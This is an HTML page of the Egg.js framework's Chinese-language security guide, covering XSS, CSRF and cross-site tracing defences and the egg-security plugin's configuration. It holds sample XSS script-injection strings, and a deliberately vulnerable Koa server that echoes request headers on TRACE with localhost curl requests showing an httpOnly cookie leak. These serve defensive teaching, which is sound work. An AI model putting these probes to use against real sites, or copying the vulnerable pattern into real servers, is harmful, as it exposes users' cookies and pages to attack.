<!DOCTYPE html>
<html lang="zh-cn">
<head>
  <title>安全 - 为企业级框架和应用而生</title>
  <meta charset="utf-8">
  <meta name="description" content="index.description">
  <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
  <link rel="icon" href="/images/favicon.png" type="image/x-icon">
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/docsearch.js/2/docsearch.min.css" />
<link rel="stylesheet" href="/css/index.css">

    <script>
    !function(t,e,a,r,c){t.TracertCmdCache=t.TracertCmdCache||[],t[c]=window[c]||
      {_isInit:!0,call:function(){t.TracertCmdCache.push(arguments)},
      start:function(t){this.call('start',t)}},t[c].l=new Date;
      var n=e.createElement(a),s=e.getElementsByTagName(a)[0];
      n.async=!0,n.src=r,s.parentNode.insertBefore(n,s)}
    (window,document,'script','https://tracert.alipay.com/tracert.js','Tracert');
      Tracert.start({
        plugins: [ 'BucName' ],
        spmAPos: 'a454',
        spmBPos: 'b4893',
      });
    </script>
  
</head>
<body>
  <div class="nav" >
  <header>
    <a href="/zh-cn/" class="nav-logo leftpadding" alt="egg"><img src="https://zos.alipayobjects.com/rmsportal/VTcUYAaoKqXyHJbLAPyF.svg"></a>
    <ul class="nav-item">
      <li>
        <form id="search-form">
          <input type="text" id="search-query" class="search-query st-default-search-input">
        </form>
      </li>
      <li><a href="/zh-cn/intro/" alt="指南">指南</a></li><li><a href="/api/" alt="API">API</a></li><li><a href="/zh-cn/tutorials/index.html" alt="教程">教程</a></li><li><a href="https://github.com/search?q=topic%3Aegg-plugin&type=Repositories" alt="插件">插件</a></li><li><a href="https://github.com/eggjs/egg/releases" alt="发布日志">发布日志</a></li>
      
      
        <li class="translations">
          <a class="nav-link">Translations</a>
          <span class="arrow"></span><ul id="dropdownContent" class="dropdown-content"><li><a id="en" href="/en/core/security.html" >English</a></li><li><a id="zh-cn" href="/zh-cn/core/security.html" style="color: #22ab28">中文</a></li></ul>
        </li>
      
      <li><iframe src="https://ghbtns.com/github-btn.html?user=eggjs&repo=egg&type=star&count=true" frameborder="0" scrolling="0" width="150px" height="20px"></iframe></li>
    </ul>
    <a id="mobileTrigger" href="#" class="mobile-trigger">
      <ul>
        <li></li>
        <li></li>
        <li></li>
      </ul>
    </a>
  </header>
</div>
  <div id="container" class="container">
    <div class="page-main">
  <article class="markdown-body">
    <h1>安全</h1>
    <h2 id="web-安全概念"><a class="markdown-anchor" href="#web-安全概念">#</a> Web 安全概念</h2>
<p>Web 应用中存在很多安全风险，这些风险会被黑客利用，轻则篡改网页内容，重则窃取网站内部数据，更为严重的则是在网页中植入恶意代码，使得用户受到侵害。常见的安全漏洞如下：</p>
<ul>
<li>XSS 攻击：对 Web 页面注入脚本，使用 JavaScript 窃取用户信息，诱导用户操作。</li>
<li>CSRF 攻击：伪造用户请求向网站发起恶意请求。</li>
<li>钓鱼攻击：利用网站的跳转链接或者图片制造钓鱼陷阱。</li>
<li>HTTP参数污染：利用对参数格式验证的不完善，对服务器进行参数注入攻击。</li>
<li>远程代码执行：用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令。</li>
</ul>
<p>而框架本身针对 Web 端常见的安全风险内置了丰富的解决方案：</p>
<ul>
<li>利用 <a href="https://github.com/eggjs/egg/blob/master/docs/source/zh-cn/basics/extend.md" target="_blank" rel="noopener">extend</a> 机制扩展了 Helper API, 提供了各种模板过滤函数，防止钓鱼或 XSS 攻击。</li>
<li>常见 Web 安全头的支持。</li>
<li>CSRF 的防御方案。</li>
<li>灵活的安全配置，可以匹配不同的请求 url 。</li>
<li>可定制的白名单，用于安全跳转和 url 过滤。</li>
<li>各种模板相关的工具函数做预处理。</li>
</ul>
<p>在框架中内置了安全插件 <a href="https://github.com/eggjs/egg-security" target="_blank" rel="noopener">egg-security</a>， 提供了默认的安全实践。</p>
<h3 id="开启与关闭配置"><a class="markdown-anchor" href="#开启与关闭配置">#</a> 开启与关闭配置</h3>
<p>注意：除非清楚的确认后果，否则不建议擅自关闭安全插件提供的功能。</p>
<p>框架的安全插件是默认开启的，如果我们想关闭其中一些安全防范，直接设置该项的 <code>enable</code> 属性为 false 即可。例如关闭 xframe 防范：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line">exports.security = &#123;</span><br><span class="line">  xframe: &#123;</span><br><span class="line">    enable: <span class="literal">false</span>,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<h3 id="match-和-ignore"><a class="markdown-anchor" href="#match-和-ignore">#</a> match 和 ignore</h3>
<p>match 和 ignore 使用方法和格式与<a href="../basics/middleware.html#match%E5%92%8Cignore">中间件通用配置</a>一致。</p>
<p>如果只想开启针对某一路径，则配置 match 选项，例如只针对 <code>/example</code> 开启 CSP：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line">exports.security = &#123;</span><br><span class="line">  csp: &#123;</span><br><span class="line">    match: <span class="string">'/example'</span>,</span><br><span class="line">    policy: &#123;</span><br><span class="line">      <span class="comment">//...</span></span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>如果需要针对某一路径忽略某安全选项，则配置 ignore 选项，例如针对 <code>/example</code> 关闭 xframe，以便合作商户能够嵌入我们的页面：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line">exports.security = &#123;</span><br><span class="line">  csp: &#123;</span><br><span class="line">    ignore: <span class="string">'/example'</span>,</span><br><span class="line">    xframe: &#123;</span><br><span class="line">      <span class="comment">//...</span></span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>如果要针对内部 ip 关闭部分安全防范：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line">exports.security = &#123;</span><br><span class="line">  csrf: &#123;</span><br><span class="line">    <span class="comment">// 判断是否需要 ignore 的方法，请求上下文 context 作为第一个参数</span></span><br><span class="line">    ignore: <span class="function"><span class="params">ctx</span> =&gt;</span> isInnerIp(ctx.ip),</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>下面我们会针对具体的场景，来讲解如何使用框架提供的安全方案进行 Web 安全防范。</p>
<h2 id="安全威胁xss的防范"><a class="markdown-anchor" href="#安全威胁xss的防范">#</a> 安全威胁<code>XSS</code>的防范</h2>
<p><a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)" target="_blank" rel="noopener">XSS</a>（cross-site scripting跨域脚本攻击）攻击是最常见的 Web 攻击，其重点是『跨域』和『客户端执行』。</p>
<p>XSS 攻击一般分为两类：</p>
<ul>
<li>Reflected XSS（反射型的 XSS 攻击）</li>
<li>Stored XSS（存储型的 XSS 攻击）</li>
</ul>
<h3 id="reflected-xss"><a class="markdown-anchor" href="#reflected-xss">#</a> Reflected XSS</h3>
<p>反射型的 XSS 攻击，主要是由于服务端接收到客户端的不安全输入，在客户端触发执行从而发起 Web 攻击。比如：</p>
<p>在某购物网站搜索物品，搜索结果会显示搜索的关键词。搜索关键词填入<code>&lt;script&gt;alert('handsome boy')&lt;/script&gt;</code>, 点击搜索。页面没有对关键词进行过滤，这段代码就会直接在页面上执行，弹出 alert。</p>
<h4 id="防范方式"><a class="markdown-anchor" href="#防范方式">#</a> 防范方式</h4>
<p>框架提供了 <code>helper.escape()</code> 方法对字符串进行 XSS 过滤。</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> str = <span class="string">'&gt;&lt;script&gt;alert("abc") &lt;/script&gt;&lt;'</span>;</span><br><span class="line"><span class="built_in">console</span>.log(ctx.helper.escape(str));</span><br><span class="line"><span class="comment">// =&gt; &amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;abc&amp;quot;) &amp;lt;/script&amp;gt;&amp;lt;</span></span><br></pre></td></tr></table></figure>
<p>当网站需要直接输出用户输入的结果时，请务必使用 <code>helper.escape()</code> 包裹起来，如在 <a href="https://github.com/eggjs/egg-view-nunjucks" target="_blank" rel="noopener">egg-view-nunjucks</a> 里面就覆盖掉了内置的 <code>escape</code>。</p>
<p>另外一种情况，网站输出的内容会提供给 JavaScript 来使用。这个时候需要使用 <code>helper.sjs()</code> 来进行过滤。</p>
<p><code>helper.sjs()</code> 用于在 JavaScript（包括 onload 等 event）中输出变量，会对变量中字符进行 JavaScript ENCODE，
将所有非白名单字符转义为 <code>\x</code> 形式，防止 XSS 攻击，也确保在 js 中输出的正确性。使用实例：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> foo = <span class="string">'"hello"'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 未使用 sjs</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`var foo = "<span class="subst">$&#123;foo&#125;</span>";`</span>);</span><br><span class="line"><span class="comment">// =&gt; var foo = ""hello"";</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用 sjs</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`var foo = "<span class="subst">$&#123;<span class="keyword">this</span>.helper.sjs(foo)&#125;</span>";`</span>);</span><br><span class="line"><span class="comment">// =&gt; var foo = "\\x22hello\\x22";</span></span><br></pre></td></tr></table></figure>
<p>还有一种情况，有时候我们需要在 JavaScript 中输出 json ，若未做转义，易被利用为 XSS 漏洞。框架提供了 <code>helper.sjson()</code> 宏做 json encode，会遍历 json 中的 key ，将 value 的值中，所有非白名单字符转义为 <code>\x</code> 形式，防止 XSS 攻击。同时保持 json 结构不变。
若存在模板中输出一个 JSON 字符串给 JavaScript 使用的场景，请使用 <code>helper.sjson(变量名)</code> 进行转义。</p>
<p><strong>处理过程较复杂，性能损耗较大，请仅在必要时使用。</strong></p>
<p>实例:</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="javascript">  <span class="built_in">window</span>.locals = &#123;&#123; helper.sjson(locals) &#125;&#125;;</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>
<h3 id="stored-xss"><a class="markdown-anchor" href="#stored-xss">#</a> Stored XSS</h3>
<p>基于存储的 XSS 攻击，是通过提交带有恶意脚本的内容存储在服务器上，当其他人看到这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的，很容易插入危险代码。</p>
<h4 id="防范方式-2"><a class="markdown-anchor" href="#防范方式-2">#</a> 防范方式</h4>
<p>框架提供了 <code>helper.shtml()</code> 方法对字符串进行 XSS 过滤。</p>
<p>注意，将富文本（包含 HTML 代码的文本）当成变量直接在模版里面输出时，需要用到 shtml 来处理。
使用 shtml 可以输出 HTML 的 tag，同时执行 XSS 的过滤动作，过滤掉非法的脚本。</p>
<p><strong>由于是一个非常复杂的安全处理过程，对服务器处理性能一定影响，如果不是输出 HTML，请勿使用。</strong></p>
<p>简单示例：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// js</span></span><br><span class="line"><span class="keyword">const</span> value = <span class="string">`&lt;a href="http://www.domain.com"&gt;google&lt;/a&gt;&lt;script&gt;evilcode…&lt;/script&gt;`</span>;</span><br></pre></td></tr></table></figure>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">// 模板</span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">  &#123;&#123; helper.shtml(value) &#125;&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br><span class="line">// =&gt; <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://www.domain.com"</span>&gt;</span>google<span class="tag">&lt;/<span class="name">a</span>&gt;</span>&amp;lt;script&amp;gt;evilcode…&amp;lt;/script&amp;gt;</span><br></pre></td></tr></table></figure>
<p>shtml 在 <a href="https://github.com/leizongmin/js-xss/" target="_blank" rel="noopener">xss</a> 模块基础上增加了针对域名的过滤。</p>
<ul>
<li><a href="https://github.com/leizongmin/js-xss/blob/master/lib/default.js" target="_blank" rel="noopener">默认规则</a></li>
<li>自定义过滤项： http://jsxss.com/zh/options.html</li>
</ul>
<p>例如只支持 a 标签，且除了 title 其他属性都过滤掉： <code>whiteList: {a: ['title']}</code></p>
<p>options:</p>
<ul>
<li><code>config.helper.shtml.domainWhiteList: []</code> 可拓展 href 和 src 中允许的域名白名单。</li>
</ul>
<p>注意，shtml 使用了严格的白名单机制，除了过滤掉 XSS 风险的字符串外，
在<a href="https://github.com/leizongmin/js-xss/blob/master/lib/default.js" target="_blank" rel="noopener">默认规则</a>外的 tag 和 attr 都会被过滤掉。</p>
<p>例如 HTML 标签就不在白名单中，</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> html = <span class="string">'&lt;html&gt;&lt;/html&gt;'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// html</span></span><br><span class="line">&#123;&#123; helper.shtml(html) &#125;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出空</span></span><br></pre></td></tr></table></figure>
<p>常见的 <code>data-xx</code> 属性由于不在白名单中，所以都会被过滤。</p>
<p>所以，一定要注意 shtml 的适用场景，一般是针对来自用户的富文本输入，切忌滥用，功能既受到限制，又会影响服务端性能。
此类场景一般是论坛、评论系统等，即便是论坛等如果不支持 HTML 内容输入，也不要使用此 Helper，直接使用 <code>escape</code> 即可。</p>
<h3 id="jsonp-xss"><a class="markdown-anchor" href="#jsonp-xss">#</a> JSONP XSS</h3>
<p>JSONP 的 callback 参数非常危险，他有两种风险可能导致 XSS</p>
<p>1、callback 参数意外截断js代码，特殊字符单引号双引号，换行符均存在风险。</p>
<p>2、callback 参数恶意添加标签（如 <code>&lt;script&gt;</code> ），造成 XSS 漏洞。</p>
<p>参考 <a href="http://blog.knownsec.com/2015/03/jsonp_security_technic/" target="_blank" rel="noopener">JSONP 安全攻防</a></p>
<p>框架内部使用 <a href="https://github.com/node-modules/jsonp-body" target="_blank" rel="noopener">jsonp-body</a> 来对 JSONP 请求进行安全防范。</p>
<p>防御内容：</p>
<ul>
<li>callback 函数名词最长 50 个字符限制</li>
<li>callback 函数名只允许 <code>[</code>, <code>]</code>, <code>a-zA-Z0123456789_</code>, <code>$</code>, <code>.</code>，防止一般的 XSS，utf-7 XSS等攻击。</li>
</ul>
<p>可定义配置：</p>
<ul>
<li>callback 默认 <code>_callback</code>，可以重命名。</li>
<li>limit - 函数名 length 限制，默认 50。</li>
</ul>
<h3 id="其他-xss-的防范方式"><a class="markdown-anchor" href="#其他-xss-的防范方式">#</a> 其他 XSS 的防范方式</h3>
<p>浏览器自身具有一定针对各种攻击的防范能力，他们一般是通过开启 Web 安全头生效的。框架内置了一些常见的 Web 安全头的支持。</p>
<h4 id="csp"><a class="markdown-anchor" href="#csp">#</a> CSP</h4>
<p>W3C 的 Content Security Policy，简称 CSP，主要是用来定义页面可以加载哪些资源，减少 XSS 的发生。</p>
<p>框架内支持 CSP 的配置，不过是默认关闭的，开启后可以有效的防止 XSS 攻击的发生。要配置 CSP , 需要对 CSP 的 policy 策略有了解，具体细节可以参考 <a href="https://www.zhihu.com/question/21979782" target="_blank" rel="noopener">CSP 是什么</a>。</p>
<h4 id="x-download-optionsnoopen"><a class="markdown-anchor" href="#x-download-optionsnoopen">#</a> X-Download-Options:noopen</h4>
<p>默认开启，禁用 IE 下下载框Open按钮，防止 IE 下下载文件默认被打开 XSS。</p>
<h4 id="x-content-type-optionsnosniff"><a class="markdown-anchor" href="#x-content-type-optionsnosniff">#</a> X-Content-Type-Options:nosniff</h4>
<p>禁用 IE8 自动嗅探 mime 功能例如 <code>text/plain</code> 却当成 <code>text/html</code> 渲染，特别当本站点 serve 的内容未必可信的时候。</p>
<h4 id="x-xss-protection"><a class="markdown-anchor" href="#x-xss-protection">#</a> X-XSS-Protection</h4>
<p>IE 提供的一些 XSS 检测与防范，默认开启</p>
<ul>
<li>close 默认值false，即设置为 <code>1; mode=block</code></li>
</ul>
<h2 id="安全威胁-csrf-的防范"><a class="markdown-anchor" href="#安全威胁-csrf-的防范">#</a> 安全威胁 CSRF  的防范</h2>
<p><a href="https://www.owasp.org/index.php/CSRF" target="_blank" rel="noopener">CSRF</a>（Cross-site request forgery跨站请求伪造，也被称为 <code>One Click Attack</code> 或者 <code>Session Riding</code>，通常缩写为 CSRF 或者 XSRF，是一种对网站的恶意利用。
CSRF 攻击会对网站发起恶意伪造的请求，严重影响网站的安全。因此框架内置了 CSRF 防范方案。</p>
<h3 id="防范方式-3"><a class="markdown-anchor" href="#防范方式-3">#</a> 防范方式</h3>
<p>通常来说，对于 CSRF 攻击有一些通用的<a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#CSRF_Specific_Defense" target="_blank" rel="noopener">防范方案</a>，简单的介绍几种常用的防范方案：</p>
<ul>
<li>Synchronizer Tokens：通过响应页面时将 token 渲染到页面上，在 form 表单提交的时候通过隐藏域提交上来。</li>
<li>Double Cookie Defense：将 token 设置在 Cookie 中，在提交 post 请求的时候提交 Cookie，并通过 header 或者 body 带上 Cookie 中的 token，服务端进行对比校验。</li>
<li>Custom Header：信任带有特定的 header（例如 <code>X-Requested-With: XMLHttpRequest</code>）的请求。这个方案可以被绕过，所以 rails 和 django 等框架都<a href="https://www.djangoproject.com/weblog/2011/feb/08/security/" target="_blank" rel="noopener">放弃了该防范方式</a>。</li>
</ul>
<p>框架结合了上述几种防范方式，提供了一个可配置的 CSRF 防范策略。</p>
<h4 id="使用方式"><a class="markdown-anchor" href="#使用方式">#</a> 使用方式</h4>
<h5 id="同步表单的-csrf-校验"><a class="markdown-anchor" href="#同步表单的-csrf-校验">#</a> 同步表单的 CSRF 校验</h5>
<p>在同步渲染页面时，在表单请求中增加一个 name 为 <code>_csrf</code> 的 url query，值为 <code>ctx.csrf</code>，这样用户在提交这个表单的时候会将 CSRF token 提交上来：</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">"POST"</span> <span class="attr">action</span>=<span class="string">"/upload?_csrf=&#123;&#123; ctx.csrf | safe &#125;&#125;"</span> <span class="attr">enctype</span>=<span class="string">"multipart/form-data"</span>&gt;</span></span><br><span class="line">  title: <span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">"title"</span> /&gt;</span></span><br><span class="line">  file: <span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">"file"</span> <span class="attr">type</span>=<span class="string">"file"</span> /&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">"submit"</span>&gt;</span>upload<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>传递 CSRF token 的字段可以在配置中改变：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// config/config.default.js</span></span><br><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line">  security: &#123;</span><br><span class="line">    csrf: &#123;</span><br><span class="line">      queryName: <span class="string">'_csrf'</span>, <span class="comment">// 通过 query 传递 CSRF token 的默认字段为 _csrf</span></span><br><span class="line">      bodyName: <span class="string">'_csrf'</span>, <span class="comment">// 通过 body 传递 CSRF token 的默认字段为 _csrf</span></span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>为了防范 <a href="http://breachattack.com/" target="_blank" rel="noopener">BREACH 攻击</a>，通过同步方式渲染到页面上的 CSRF token 在每次请求时都会变化，<a href="https://github.com/eggjs/egg-view-nunjucks" target="_blank" rel="noopener">egg-view-nunjucks</a> 等 View 插件会自动对 Form 进行注入，对应用开发者无感知。</p>
<h5 id="ajax-请求"><a class="markdown-anchor" href="#ajax-请求">#</a> AJAX 请求</h5>
<p>在 CSRF 默认配置下，token 会被设置在 Cookie 中，在 AJAX 请求的时候，可以从 Cookie 中取到 token，放置到 query、body 或者 header 中发送给服务端。</p>
<p>In jQuery:</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> csrftoken = Cookies.get(<span class="string">'csrfToken'</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">csrfSafeMethod</span>(<span class="params">method</span>) </span>&#123;</span><br><span class="line">  <span class="comment">// these HTTP methods do not require CSRF protection</span></span><br><span class="line">  <span class="keyword">return</span> (<span class="regexp">/^(GET|HEAD|OPTIONS|TRACE)$/</span>.test(method));</span><br><span class="line">&#125;</span><br><span class="line">$.ajaxSetup(&#123;</span><br><span class="line">  beforeSend: <span class="function"><span class="keyword">function</span>(<span class="params">xhr, settings</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!csrfSafeMethod(settings.type) &amp;&amp; !<span class="keyword">this</span>.crossDomain) &#123;</span><br><span class="line">      xhr.setRequestHeader(<span class="string">'x-csrf-token'</span>, csrftoken);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>
<p>通过 header 传递 CSRF token 的字段也可以在配置中改变：</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// config/config.default.js</span></span><br><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line">  security: &#123;</span><br><span class="line">    csrf: &#123;</span><br><span class="line">      headerName: <span class="string">'x-csrf-token'</span>, <span class="comment">// 通过 header 传递 CSRF token 的默认字段为 x-csrf-token</span></span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<h4 id="session-vs-cookie-存储"><a class="markdown-anchor" href="#session-vs-cookie-存储">#</a> Session vs Cookie 存储</h4>
<p>默认配置下，框架会将 CSRF token 存在 Cookie 中，以方便 AJAX 请求获取到。但是所有的子域名都可以设置 Cookie，因此当我们的应用处于无法保证所有的子域名都受控的情况下，存放在 Cookie 中可能有被 CSRF 攻击的风险。框架提供了一个配置项，可以将 token 存放到 Session 中。</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// config/config.default.js</span></span><br><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line">  security: &#123;</span><br><span class="line">    csrf: &#123;</span><br><span class="line">      useSession: <span class="literal">true</span>, <span class="comment">// 默认为 false，当设置为 true 时，将会把 csrf token 保存到 Session 中</span></span><br><span class="line">      cookieName: <span class="string">'csrfToken'</span>, <span class="comment">// Cookie 中的字段名，默认为 csrfToken</span></span><br><span class="line">      sessionName: <span class="string">'csrfToken'</span>, <span class="comment">// Session 中的字段名，默认为 csrfToken</span></span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<h4 id="忽略-json-请求已废弃"><a class="markdown-anchor" href="#忽略-json-请求已废弃">#</a> 忽略 JSON 请求(已废弃)</h4>
<p><strong>注意：该选项已废弃，攻击者可以<a href="https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/" target="_blank" rel="noopener">通过 flash + 307 来攻破</a>，请不要在生产环境打开改选项！</strong></p>
<p>在 <a href="https://en.wikipedia.org/wiki/Same-origin_policy" target="_blank" rel="noopener">SOP</a> 的安全策略保护下，基本上所有的现代浏览器都不允许跨域发起 content-type 为 JSON 的请求，因此我们可以直接放过类型的 JSON 格式的请求。</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// config/config.default.js</span></span><br><span class="line"><span class="built_in">module</span>.exports = &#123;</span><br><span class="line">  security: &#123;</span><br><span class="line">    csrf: &#123;</span><br><span class="line">      ignoreJSON: <span class="literal">true</span>, <span class="comment">// 默认为 false，当设置为 true 时，将会放过所有 content-type 为 `application/json` 的请求</span></span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<h4 id="刷新-csrf-token"><a class="markdown-anchor" href="#刷新-csrf-token">#</a> 刷新 CSRF token</h4>
<p>当 CSRF token 存储在 Cookie 中时，一旦在同一个浏览器上发生用户切换，新登陆的用户将会依旧使用旧的 token（之前用户使用的），这会带来一定的安全风险，因此在每次用户登陆的时候都<strong>必须刷新 CSRF token</strong>。</p>
 <figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// login controller</span></span><br><span class="line">exports.login = <span class="function"><span class="keyword">function</span>* (<span class="params">ctx</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> &#123; username, password &#125; = ctx.request.body;</span><br><span class="line">  <span class="keyword">const</span> user = <span class="keyword">yield</span> ctx.service.user.find(&#123; username, password &#125;);</span><br><span class="line">  <span class="keyword">if</span> (!user) ctx.throw(<span class="number">403</span>);</span><br><span class="line">  ctx.session = &#123; user &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 调用 rotateCsrfSecret 刷新用户的 CSRF token</span></span><br><span class="line">  ctx.rotateCsrfSecret();</span><br><span class="line"></span><br><span class="line">  ctx.body = &#123; <span class="attr">success</span>: <span class="literal">true</span> &#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="安全威胁-xst-的防范"><a class="markdown-anchor" href="#安全威胁-xst-的防范">#</a> 安全威胁 XST 的防范</h2>
<p><a href="https://www.owasp.org/index.php/XST" target="_blank" rel="noopener">XST</a> 的全称是 <code>Cross-Site Tracing</code>，客户端发 TRACE 请求至服务器，如果服务器按照标准实现了 TRACE 响应，则在 response body 里会返回此次请求的完整头信息。通过这种方式，客户端可以获取某些敏感的头字段，例如 httpOnly 的 Cookie。</p>
<p>下面我们基于 Koa 来实现一个简单的支持 TRACE 方法的服务器：</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> koa = <span class="built_in">require</span>(<span class="string">'koa'</span>);</span><br><span class="line"><span class="keyword">var</span> app = koa();</span><br><span class="line"></span><br><span class="line">app.use(<span class="function"><span class="keyword">function</span>* (<span class="params">next</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">this</span>.cookies.set(<span class="string">'a'</span>, <span class="number">1</span>, &#123; <span class="attr">httpOnly</span>: <span class="literal">true</span> &#125;);</span><br><span class="line">  <span class="keyword">if</span> (<span class="keyword">this</span>.method === <span class="string">'TRACE'</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> body = <span class="string">''</span>;</span><br><span class="line">    <span class="keyword">for</span> (header <span class="keyword">in</span> <span class="keyword">this</span>.headers) &#123;</span><br><span class="line">      body += header + <span class="string">': '</span> + <span class="keyword">this</span>.headers[header] + <span class="string">'\r\n'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">this</span>.body = body;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">yield</span>* next;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.listen(<span class="number">7001</span>);</span><br></pre></td></tr></table></figure>
<p>启动服务后，先发个 GET 请求 <code>curl -i http://127.0.0.1:7001</code>，得到如下响应：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">HTTP/1.1 200 OK</span><br><span class="line">X-Powered-By: koa</span><br><span class="line">Set-Cookie: a=1; path=/; httponly</span><br><span class="line">Content-Type: text/plain; charset=utf-8</span><br><span class="line">Content-Length: 2</span><br><span class="line">Date: Thu, 06 Nov 2014 05:04:42 GMT</span><br><span class="line">Connection: keep-alive</span><br><span class="line"></span><br><span class="line">OK</span><br></pre></td></tr></table></figure>
<p>服务器设置了一个 httpOnly 的 Cookie 为 1，在浏览器环境中，是无法通过脚本获取它的。</p>
<p>接着我们发 TRACE 请求到服务器<code>curl -X TRACE -b a=1 -i http://127.0.0.1:7001</code>，并带上 Cookie，得到如下响应：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">HTTP/1.1 200 OK</span><br><span class="line">X-Powered-By: koa</span><br><span class="line">Set-Cookie: a=1; path=/; httponly</span><br><span class="line">Content-Type: text/plain; charset=utf-8</span><br><span class="line">Content-Length: 73</span><br><span class="line">Date: Thu, 06 Nov 2014 05:07:47 GMT</span><br><span class="line">Connection: keep-alive</span><br><span class="line"></span><br><span class="line">user-agent: curl/7.37.1</span><br><span class="line">host: 127.0.0.1:7001</span><br><span class="line">accept: */*</span><br><span class="line">cookie: a=1</span><br></pre></td></tr></table></figure>
<p>在响应体里可以看到完整的头信息，这样我们就绕过了 httpOnly 的限制，拿到了cookie=1，造成了很大的风险。</p>
<h3 id="拓展阅读"><a class="markdown-anchor" href="#拓展阅读">#</a> 拓展阅读</h3>
<p>http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html</p>
<p>http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/</p>
<h3 id="防范方式-4"><a class="markdown-anchor" href="#防范方式-4">#</a> 防范方式</h3>
<p>框架已经禁止了 trace，track，options 三种危险类型请求。</p>
